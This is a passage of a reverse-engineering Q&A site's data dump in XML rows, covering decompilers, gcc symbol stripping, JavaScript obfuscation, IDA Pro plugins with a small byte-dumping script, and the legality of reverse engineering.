  <row Id="46" PostTypeId="2" ParentId="42" CreationDate="2013-03-20T09:41:43.207" Score="36" Body="&lt;p&gt;It's not only possible but has been done already, and not just once. Here's three I know about, and there may be more.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Kivlad by Cody Brocious&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.matasano.com/research/kivlad/&quot; rel=&quot;noreferrer&quot;&gt;http://www.matasano.com/research/kivlad/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DAD by Zost (Androguard project):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/androguard/wiki/Decompiler&quot; rel=&quot;noreferrer&quot;&gt;http://code.google.com/p/androguard/wiki/Decompiler&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;JEB by Nicolas Falliere (commercial)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.android-decompiler.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.android-decompiler.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Then there are all the Java decompilers that can be used after using &lt;a href=&quot;http://code.google.com/p/dex2jar/&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;dex2jar&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;http://siis.cse.psu.edu/dare/index.html&quot; rel=&quot;noreferrer&quot;&gt;Dare&lt;/a&gt; on the Dalvik binary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-03-20T09:41:43.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="47" PostTypeId="1" AcceptedAnswerId="58" CreationDate="2013-03-20T09:43:11.807" Score="28" ViewCount="16257" Body="&lt;p&gt;Is it possible to create an object file using &lt;code&gt;gcc&lt;/code&gt; that cannot be reverse engineered to its source code ?&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-25T14:34:02.403" LastActivityDate="2021-01-04T10:44:26.807" Title="Can I create an object file using gcc that cannot be reverse engineered?" Tags="|c|object-code|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="48" PostTypeId="2" ParentId="47" CreationDate="2013-03-20T09:56:03.603" Score="24" Body="&lt;p&gt;&lt;strong&gt;Short answer&lt;/strong&gt;: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer&lt;/strong&gt;: &lt;a href=&quot;http://www.iacr.org/archive/crypto2001/21390001.pdf&quot;&gt;On the (Im)possibility of Obfuscating Programs&lt;/a&gt; by Boaz Barak, Oded Goldreich, Rusell Impagliazzo, Steven Rudich, Amit Sahai, Salil Vadhan, and Ke Yang.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Medium answer&lt;/strong&gt;: If you give your program to a user that control the platform where your program will be executed, there is no way to prevent the reverse-engineering of it. The only thing you can hope for is to force the user to have a black-box analysis approach of your software (meaning that the user will only be able to observe the output of your program on chosen input).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, even this black-box analysis is extremely difficult to enforce without an additional piece of hardware (eg smartcard) as the user is supposed to be able to take intermediate snapshots of the memory during the execution of your program.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-03-26T17:17:34.887" LastActivityDate="2013-03-26T17:17:34.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="49" PostTypeId="2" ParentId="47" CreationDate="2013-03-20T10:13:14.917" Score="9" Body="&lt;p&gt;Well, it might be impossible to RE the file to the &lt;em&gt;exact original source code&lt;/em&gt; (e.g. there's no way to recover comments or preprocessor macros), but that's probably not what you meant to ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's definitely always possible (though sometimes difficult) to produce an &lt;em&gt;equivalent&lt;/em&gt; source code, which behaves the same as the compiled code. With some extra work it might be even possible to produce code which compiles to &lt;em&gt;exactly the same&lt;/em&gt; bytecode (as long as there was no additional post-processing of compiled binary). &lt;a href=&quot;http://www.recon.cx/2011/schedule/events/104.en.html&quot;&gt;This presentation&lt;/a&gt; described some of the approaches for this, but I can't find the slides.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-20T10:13:14.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="51" PostTypeId="2" ParentId="34" CreationDate="2013-03-20T11:39:53.490" Score="8" Body="&lt;p&gt;If the executable itself isn't packed or obfuscated you can often find the jar or class files by simply opening it in decompression utilty such as 7-zip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MXdrp.png&quot; alt=&quot;Minecraft launcher exe opened in 7-zip&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-03-27T07:34:57.453" LastActivityDate="2013-03-27T07:34:57.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="52" PostTypeId="2" ParentId="45" CreationDate="2013-03-20T11:54:11.643" Score="4" Body="&lt;p&gt;I was about to say &quot;this sounds a lot like something that the INSIGHT team wants to hire an intern to investigate this summer&quot; but then I looked at your username and location :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this question is very difficult to answer unambiguously because you are seeking a mechanism to efficiently slow down manual analysis. I'll put what I think is an answer forward anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that you have two high-level choices, &quot;encrypt program code&quot; or &quot;encrypt program data&quot;. Encrypting program data seems less powerful because a manual analysis can still glean a lot of clues about the program by observing its structure, so it seems that what you would want to do to slow down analysis is deny the analyst the ability to see program structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if you transformed a program into a bytecode language and an interpreter, similar to what VMProtect and others do. Then, you encrypt the buffer of bytecode and use FHE to access the buffer when you are executing code. &lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="245" LastEditDate="2013-04-17T05:02:48.160" LastActivityDate="2013-04-17T05:02:48.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="53" PostTypeId="1" AcceptedAnswerId="55" CreationDate="2013-03-20T12:06:39.137" Score="17" ViewCount="2426" Body="&lt;p&gt;This comes from comments on a question on StackOverflow about JavaScript Variables: &lt;a href=&quot;https://stackoverflow.com/a/7451569/1317805&quot;&gt;Why aren't ◎ܫ◎ and ☺ valid JavaScript variable names?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JavaScript accepts zero-width characters as valid variable names, for example all three of these variables have different names but are visually identical:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var ab, /* ab */&#xA;    a‍b, /* a&amp;amp;zwj;b */&#xA;    a‌b; /* a&amp;amp;zwnj;b */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;http://jsfiddle.net/MYLx9/&quot; rel=&quot;noreferrer&quot;&gt;JSFiddle&lt;/a&gt; example of the above three variables in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the pros and cons of doing this as an obfuscation technique for JavaScript (and other supporting languages)?&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.117" LastActivityDate="2013-03-20T21:36:50.757" Title="Obfuscating JavaScript with zero-width characters - pros and cons?" Tags="|obfuscation|javascript|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="54" PostTypeId="2" ParentId="34" CreationDate="2013-03-20T12:12:42.517" Score="25" Body="&lt;p&gt;I did a quick test with JSmooth and it simply places the whole .jar file in a resource. You can easily see this by opening a JSmooth executable with &lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;noreferrer&quot;&gt;Resource Hacker&lt;/a&gt; as the following screen shot shows (I used sun's deploy.jar from the java lib folder):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMTvr.png&quot; alt=&quot;Resource Hacker Screenshot displaying the jar as a resource&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other utilities it might be different but you could use a tool like &lt;a href=&quot;http://www.remkoweijnen.nl/blog/2011/10/12/analysing-binaries-with-binwalk/&quot; rel=&quot;noreferrer&quot;&gt;binwalk&lt;/a&gt; to look for the jar/zip signature inside the exe.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2013-03-20T12:26:45.797" LastActivityDate="2013-03-20T12:26:45.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="55" PostTypeId="2" ParentId="53" CreationDate="2013-03-20T12:19:59.340" Score="15" Body="&lt;p&gt;Well, in your own programs, it's probably fine.  But in a corporate setting its a maintenence nightmare without extremely good documentation and/or team continuity.  Neither of which seems all that common in my experience.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a more general question might be, &quot;are obfuscation techniques really all that useful?&quot;  I can understand minify for page loading purposes.  But hiding source doesn't seem to make sense.  You are either thinking you have some clever, never done before, algorithm.  If that's the case, maybe JS isn't the langauge for it since there's really no way to completely hide it.  Or you are trying to be trixsy and attempt some security through obscurity, generally a Bad Idea.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-03-20T12:19:59.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="56" PostTypeId="2" ParentId="4" CreationDate="2013-03-20T12:29:35.113" Score="9" Body="&lt;p&gt;There's several methods you can use (most of which have been hinted at by previous answers), but for completeness' sake I'll list some here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for calls to libraries that expect structures.  Unless the executable is doing something it really shouldn't and casting pointers and then feeding them to the library function and hoping it doesn't crash (unlikely), then here you can get a good feel for what sections of memory are structures.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at how parts of memory are passed/returned from functions.  Some compilers/calling conventions/platforms pass and return small structures (which can fit in a couple of registers) differently than other types of data.  For example, if you see data being returned in both &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt; then you're probably dealing with a small struct.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at how the memory is addressed.  If it appears that sections of memory are getting modified past one register size through a pointer, it's most likely (again, unless they're doing something unusual) an array or struct.  Also, like Yifan said, if there's a lot of accesses via constant offset you're probably looking at a struct, or a small array that is used in a manner similar to a struct (such as &lt;code&gt;unsigned char rgb[3]&lt;/code&gt;).  And if you're looking at different size chunks of data, then it's almost definitely a struct.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, with any what-if scenario, as long as the use of data is consistent with your model, it doesn't matter if in the original code it is just an array of bytes with some conventions about what goes where or a full-blown struct.  Use whatever model helps you reason about the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address the union issue about structs having different memory layout in different code branches, I'll address the two most common usages of unions (in my experience):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Type punning:  In this case, you probably won't even see it in the compiled code.  Though it's technically undefined behavior AFAIK, most compilers will treat it like a &lt;code&gt;reinterpret_cast&amp;lt;&amp;gt;()&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Algebraic Types:  Usually, this is accompanied by a tag which makes it easy to identify.  If you see code in several places that checks some integer and then treats the memory different based on that value, then you can guess this is what is going on.  If certain functions don't check the tag, then that also tells you something about the function - assuming the author isn't lazy and want their code to break, they probably consider it an invariant that that function will only be called in branches that already &lt;em&gt;know&lt;/em&gt; that it is of a certain type.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-20T12:29:35.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="57" PostTypeId="2" ParentId="41" CreationDate="2013-03-20T12:31:32.227" Score="12" Body="&lt;p&gt;The biggest danger from opening a piece of tech hardware (other than breaking it) is electrical shock.  Equipment, especially older stuff, but really anything was designed to be plugged into the house mains may contain large capacitors in their power circuitry.  These can store a surprising charge that would result in a major shock.  Most modern equipment implements bleeder resistors that render them safe within minutes to an hour at most.  Older equipment should be left unplugged for a day or three unless you know what you are about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular older CRT monitors and TVs contain a flyback transformer circuit for the electron gun that runs thousands of volts and will hold a charge for a while (hours/days depending on the make and age).&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="245" LastEditDate="2013-04-17T05:03:17.333" LastActivityDate="2013-04-17T05:03:17.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="58" PostTypeId="2" ParentId="47" CreationDate="2013-03-20T12:42:14.057" Score="32" Body="&lt;p&gt;AFAIK that is not possible. There are other things you can keep in mind however:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use of the GCC optimization flags will help make the code look much less readable to a human. When you compile with the highest level of optimization &lt;code&gt;gcc -O3&lt;/code&gt; the compiler will move things around such that the &quot;flow&quot; might not be at all what you expect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the flag &lt;code&gt;-static&lt;/code&gt; which will force gcc to take small functions and make them inline. This will embed them into your code instead of showing as function calls.. it will make them harder to distinguish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to keep in mind is too it's important to get rid of any unneeded symbols. Gcc offers &lt;code&gt;-fvisibility=hidden&lt;/code&gt; and &lt;code&gt;-fvisibility-inlines-hidden&lt;/code&gt; to help with this. You can also pass the &lt;code&gt;-s&lt;/code&gt; flag to gcc to strip symbols away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that's about all you can do with &lt;em&gt;gcc&lt;/em&gt; to help prevent reverse engineering. Additionally you can use code obfuscation, but there are issues there as well unless you implement it yourself, if you use a readily available method or tool to prevent reverse engineering, there is probably already a tool to counter it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the final executable will have information in it as well such as what version of gcc it was compiled with. This too can be removed with the &lt;code&gt;strip&lt;/code&gt; command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have an executable (&lt;code&gt;myprog&lt;/code&gt;) I can run &lt;code&gt;objdump&lt;/code&gt; on it to check some information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mike@mike-VirtualBox:~/C$ objdump --full-contents --section=.comment myprog | head&#xA;myprog:     file format elf64-x86-64&#xA;&#xA;Contents of section .comment:&#xA; 0000 4743433a 20285562 756e7475 2f4c696e  GCC: (Ubuntu/Lin&#xA; 0010 61726f20 342e362e 332d3175 62756e74  aro 4.6.3-1ubunt&#xA; 0020 75352920 342e362e 3300               u5) 4.6.3.   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oops, you can see what version/compiler I used. Well, we can fix that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mike@mike-VirtualBox:~/C$ strip -R .comment -R .note myprog&#xA;mike@mike-VirtualBox:~/C$ objdump --full-contents --section=.comment myprog | head&#xA;objdump: &#xA;section '.comment' mentioned in a -j option, but not found in any input file&#xA;myprog:     file format elf64-x86-64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are other portions you can strip as well, such as &lt;code&gt;.note.ABI-tag&lt;/code&gt; but you do lose portability&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="34" LastEditDate="2013-06-03T15:43:58.110" LastActivityDate="2013-06-03T15:43:58.110" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="59" PostTypeId="1" AcceptedAnswerId="66" CreationDate="2013-03-20T12:57:53.483" Score="17" ViewCount="15127" Body="&lt;p&gt;I'm a bit of a novice with IDA Pro, and have been discovering some of the excellent plugins available from the RE community as well as its vendors. My small list of plugins that I have found extremely valuable to me are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot;&gt;Hex-Rays Decompiler&lt;/a&gt; (commercial) - convert program to pseudo-C&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thunkers.net/~deft/code/toolbag/&quot;&gt;IDA Toolbag&lt;/a&gt; - Adds too much awesome functionality to IDA to list. &lt;a href=&quot;http://thunkers.net/~deft/code/toolbag/docs.html#Usage&quot;&gt;Just see/read about it&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope/&quot;&gt;IDAscope&lt;/a&gt; - Function tagging/inspection, WinAPI lookup, Crypto identification&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Granted, this is a very short list. What IDA Pro scripts/plugins do you find essential?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="245" LastEditDate="2013-04-17T05:06:27.363" LastActivityDate="2013-04-17T05:07:50.103" Title="What are the essential IDA Plugins or IDA Python scripts that you use?" Tags="|tools|ida|idapython|" AnswerCount="4" CommentCount="8" ClosedDate="2013-03-20T19:37:17.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="60" PostTypeId="1" AcceptedAnswerId="73" CreationDate="2013-03-20T13:14:09.463" Score="48" ViewCount="45626" Body="&lt;p&gt;Is it legal to reverse engineer certain features of a closed source application and then integrate those features into a closed or open source application that may be either a commercial or non-commercial application ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Brownie points for an answer covering the situation in India.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="80" LastEditDate="2013-03-22T19:45:26.867" LastActivityDate="2021-06-06T16:29:35.870" Title="Is reverse engineering and using parts of a closed source application legal?" Tags="|law|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="61" PostTypeId="2" ParentId="60" CreationDate="2013-03-20T13:29:04.317" Score="24" Body="&lt;p&gt;Article 6 of the 1991 EU Computer Programs Directive allows reverse engineering for the purposes of interoperability, but prohibits it for the purposes of creating a competing product, and also prohibits the public release of information obtained through reverse engineering of software (&lt;a href=&quot;http://en.wikipedia.org/wiki/Reverse_engineering#European_Union&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That makes the answer NO, at least for the EU (you didn't state the country to which your question applies).&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-03-20T13:29:04.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="62" PostTypeId="2" ParentId="59" CreationDate="2013-03-20T13:32:24.520" Score="7" Body="&lt;p&gt;For analysing RPC I use &lt;a href=&quot;http://www.openrce.org/downloads/details/186/mIDA&quot; rel=&quot;nofollow noreferrer&quot;&gt;mIDA&lt;/a&gt;:&#xA;mIDA is a plugin for the IDA disassembler that can extract RPC interfaces from a binary file and recreate the associated IDL definition. mIDA is free and fully integrates with the latest version of IDA (5.2 or later).&#xA;This plugin can be used to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Navigate to RPC functions in IDA&#xA;* Analyze RPC function arguments&#xA;* Understand RPC structures&#xA;* Reconstruct an IDL definition file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The IDL code generated by mIDA can be, most of the time, recompiled with the MIDL compiler from Microsoft (midl.exe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mIDA is freely distributed to the community by Tenable in the hope it will be useful to you and help research engineers to work more effectively on RPC programs. However, Tenable does not provide support for this tool and offers no guarantee regarding its use or output. Please read the end-user license agreement before using this program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7kWfI.png&quot; alt=&quot;Sample output of mIDA&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="245" LastEditDate="2013-04-17T05:07:50.103" LastActivityDate="2013-04-17T05:07:50.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="63" PostTypeId="2" ParentId="59" CreationDate="2013-03-20T13:51:41.097" Score="9" Body="&lt;p&gt;Here's a few I use regularly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Microsoft &lt;a href=&quot;http://www.hexblog.com/wp-content/uploads/2012/06/recon-2012-skochinsky-scripts.zip&quot;&gt;VC++ RTTI and EH parser scripts&lt;/a&gt;. There is &lt;a href=&quot;http://www.macromonkey.com/bb/viewtopic.php?f=65&amp;amp;t=705&quot;&gt;a reimplementation&lt;/a&gt; as a plugin (but I haven't tried it).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;memcpy.idc&lt;/code&gt; from IDA's idc directory. Very simple but useful when dealing with firmwares that copy code around.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;renimp.idc&lt;/code&gt; when doing PE unpacking. Though recently it's been supplanted by UUNP's &lt;a href=&quot;http://www.hexblog.com/?p=403&quot;&gt;manual reconstruct&lt;/a&gt; feature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;a tiny script to save selected bytes to a file. Useful for extracting embedded binaries from droppers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;static main()&#xA;{&#xA;  auto s,e,f,name;&#xA;  s = SelStart();&#xA;  e = SelEnd();&#xA;  if (s==BADADDR || e==BADADDR)&#xA;    return;&#xA;  name = form(&quot;dump_%08X.bin&quot;, s);&#xA;  f = fopen(name,&quot;wb&quot;);&#xA;  Message(&quot;Saving %a-%a to %s...&quot;, s, e, name);&#xA;  savefile(f,0,s,e-s);&#xA;  Message(&quot;done.\n&quot;);&#xA;  fclose(f);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, I often write small IDC or Python snippets that do something specific to the binary I'm reversing, e.g. parsing a custom symbol table, or converting some specific byte sequence to code. These are usually not reused much.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-20T13:51:41.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="64" PostTypeId="1" CreationDate="2013-03-20T14:15:38.103" Score="32" ViewCount="24665" Body="&lt;p&gt;Are there any scripts and/or online tools that can reverse the effects of minification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm specifically looking to unminify a minified JavaScript file.  Variable renaming is not a big issue, I want it sufficiently readable to be able to analyze the execution.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="127" LastEditDate="2013-03-20T18:23:03.537" LastActivityDate="2022-01-26T12:33:22.683" Title="What is a good tools to reverse the effects of Minify on JavaScript?" Tags="|obfuscation|javascript|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="65" PostTypeId="2" ParentId="64" CreationDate="2013-03-20T14:15:38.103" Score="8" Body="&lt;p&gt;A good place to start is &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;JSBeautifier&lt;/a&gt;. In general, it depends on the minify method that was used.  This one formats the code and has lots of options.  It can also unpack &quot;packed&quot; scripts (packed with Dean Edward's &lt;a href=&quot;http://dean.edwards.name/packer/&quot;&gt;packer&lt;/a&gt;).  A handy variant of this code is available as a Firefox plugin &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/javascript-deminifier/&quot;&gt;Javascript Deminifier&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2013-03-20T18:40:22.297" LastActivityDate="2013-03-20T18:40:22.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="66" PostTypeId="2" ParentId="59" CreationDate="2013-03-20T14:18:21.900" Score="11" Body="&lt;p&gt;There are binary diffing plugins also that are very handy to analyse vulnerabilities: &lt;a href=&quot;https://code.google.com/p/patchdiff2&quot;&gt;patchdiff2&lt;/a&gt; and &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot;&gt;zynamics bindiff&lt;/a&gt;. They can help you analyse the patches that the binary had and very usefull to analyse i.e. why the application was vulnerable before the patch and how the vendor fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides these two plugins for IDA there's &lt;a href=&quot;http://www.darungrim.org/&quot;&gt;DarunGrim&lt;/a&gt;, another excellent binary diffing tool.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-03-20T14:18:21.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="67" PostTypeId="2" ParentId="53" CreationDate="2013-03-20T14:25:03.943" Score="9" Body="&lt;p&gt;A big con is posed in the following Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&lt;li&gt;Which JavaScript-Interpreters break when confronted with such code?&lt;/li&gt;&#xA;&lt;li&gt;Is this acceptable?&lt;/li&gt;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A simple normal Obfuscator should yield acceptibly obtuse code without breaking some JavaScript-Interpreters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one really wants to work with zero-width characters in variable names, it would be included in the Code-Obfuscation process (The resulting js-File should only be loaded after a Browser-Version-Check.). This way the developer does not have to deal with zero-width characters in the original source code.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2013-03-20T14:25:03.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="68" PostTypeId="2" ParentId="43" CreationDate="2013-03-20T14:31:51.683" Score="12" Body="&lt;p&gt;My understanding of anti-debugging technology is that it is a game of cat and mouse (or cat and also cat). A technique works until it is understood by the opposing side and then it doesn't work any more. I think that ultimately the advantage is on the side of the debugger. Consider dynamic binary instrumentation or virtual machine systems. You can detect the presence of DBI or emulation by looking for cracks or faults in the emulation of the platform, but those are just errors in the emulation/translation software. If you had a &quot;perfect&quot; emulation system, then a debugged application could not know that it was being traced? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think the best you can do is little things that are easily worked around. The Shiva system still I think represents &quot;okay&quot; protection from debugging on Unix platforms, since it decrypts small portions of itself to run on demand and then re-encryptes them, as I recall. &lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2013-03-20T14:31:51.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="69" PostTypeId="5" CreationDate="2013-03-20T14:42:30.627" Score="0" Body="&lt;p&gt;IDA Pro is arguably the most advanced disassembler on the market at the time of this writing. Created by &lt;a href=&quot;https://en.wikipedia.org/wiki/Ilfak_Guilfanov&quot; rel=&quot;nofollow&quot;&gt;Ilfak Guilfanov&lt;/a&gt; of &lt;a href=&quot;https://www.hex-rays.com/&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays&lt;/a&gt; it is an invaluable tool for the reverse code engineer.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Main features/highlights&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;license allows you to reverse engineer IDA Pro itself&lt;/li&gt;&#xA;&lt;li&gt;the interactivity which has given it its name. That is, the reverse engineer will be able to give IDA cues where the heuristics fail. Aside from that many features make the disassembly more readable (definition of structures, constants, anterior/posterior comments, repeatable comments, auto-commented opcodes).&lt;/li&gt;&#xA;&lt;li&gt;can be scripted: since a few releases Hex-Rays includes a version of &lt;a href=&quot;http://code.google.com/p/idapython/&quot; rel=&quot;nofollow&quot;&gt;IDAPython&lt;/a&gt;. Before that existed IDC, a &lt;code&gt;C&lt;/code&gt;-dialect initially, later extended to include &lt;code&gt;C++&lt;/code&gt;-like language features.&lt;/li&gt;&#xA;&lt;li&gt;it is extensible: one can write plugins (even script plugins), processor modules, loaders and so on.&lt;/li&gt;&#xA;&lt;li&gt;it is cross-platform - unfortunately requires separate licenses since a few versions back, even though the terminal-only version of IDA Pro for Linux used to be an excellent complement in scenarios where one didn't have access to a GUI.&lt;/li&gt;&#xA;&lt;li&gt;comes with a wealth of processor modules and loaders.&lt;/li&gt;&#xA;&lt;li&gt;highly customizable&lt;/li&gt;&#xA;&lt;li&gt;offering tools for [tag:static analysis] and &lt;a href=&quot;/questions/tagged/dynamic-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'dynamic-analysis'&quot; rel=&quot;tag&quot;&gt;dynamic-analysis&lt;/a&gt; alike, such as connectivity to various local and remote debuggers (e.g. GDB, WinDbg) and Bochs to run snippets of &lt;a href=&quot;/questions/tagged/disassembly&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'disassembly'&quot; rel=&quot;tag&quot;&gt;disassembly&lt;/a&gt; or whole programs in a virtualized environment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Hex-Rays Decompiler Plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The decompiler plugin requires IDA Pro to run. It supports two architectures at the moment and has to be licensed for each: x86 and ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows to create pseudo-code from functions 